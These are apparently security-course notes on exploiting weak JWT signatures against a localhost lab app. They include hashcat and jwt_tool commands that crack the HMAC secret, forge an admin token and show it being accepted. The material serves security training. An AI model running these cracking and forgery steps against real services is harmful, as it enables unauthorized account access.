JWT has a weak signature when the cryptographic algorithm used to sign the token is insecure or when the secret key is weak. This vulnerability allows attackers to forge or manipulate JWTs by exploiting predictable or easily guessable signatures. Weak signatures compromise the integrity and authenticity of the JWT, potentially leading to unauthorized access or data breaches.
The below example is based on TCM's course.
List with well-known secrets: .
# Logging in with valid creds
$ curl -X POST http://localhost/login -H 'Content-Type: application/json' --data '{"username":"user","password":"user"}'
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJ1c2VyIiwiaWF0IjoxNzE5Mjk1MTA5fQ.aUlvUvP4XbodwpBalrS-1t70Sqx7FxQCvBrmwT8oCDM"}
# Brute forcing the secret
hashcat -a0 -m16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJ1c2VyIiwiaWF0IjoxNzE5Mjk1MTA5fQ.aUlvUvP4XbodwpBalrS-1t70Sqx7FxQCvBrmwT8oCDM /usr/share/wordlists/rockyou
<SNIP>
eyJ...<SNIP>...CDM:ucyxu6
<SNIP>
# We can also crack the JWT secret with jwt_tool
$ jwt_tool -C -d /usr/share/wordlists/rockyou 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ==.BmzWWVFXmJsqH7K9dTxCyCopRB0HHFvCYKCfwW+8We4='
Original JWT:
[+] coffee is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S hs256 -p "coffee"
# Testing the token
$ curl -i http://localhost/dashboard -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJhZG1pbiIsImlhdCI6MTcxOTI5NTEwOX0.py2v7_Kqtexh4Cq8hqBdEV8wiCr8p6x9eeZFNGlKW4U'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 45
ETag: W/"2d-bqbMS3LH08+zkhZI3cPwYShjqaE"
Date: Tue, 25 Jun 2024 06:09:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"message":"Welcome to your dashboard admin"}
We can also tamper the required claims using jwt_tool.
# Tampering with the JWT
$ jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJ1c2VyIiwiaWF0IjoxNzE5Mjk1MTA5fQ.aUlvUvP4XbodwpBalrS-1t70Sqx7FxQCvBrmwT8oCDM -T -S hs256 -p 'ucyxu6'
Original JWT:
====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
====================================================================
Token header values:
[1] alg = "HS256"
[2] typ = "JWT"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token payload values:
[1] userid = "user"
[2] iat = 1719295109 ==> TIMESTAMP = 2024-06-25 06:58:29 (UTC)
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[5] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 1
Current value of userid is: user
Please enter new value and hit ENTER
> admin
[1] userid = "admin"
[2] iat = 1719295109 ==> TIMESTAMP = 2024-06-25 06:58:29 (UTC)
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[5] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
jwttool_8043cf61f00c28f7a057cdc20df41290 - Tampered token - HMAC Signing:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJhZG1pbiIsImlhdCI6MTcxOTI5NTEwOX0.py2v7_Kqtexh4Cq8hqBdEV8wiCr8p6x9eeZFNGlKW4U
Hashcat signs the header and payload from the JWT using each wordlist secret and compares the resulting signature with the original one ().
We can also tamper the JWT's claim using the Burp's extension (Figure 2).
The below example is base on PortSwigger's module.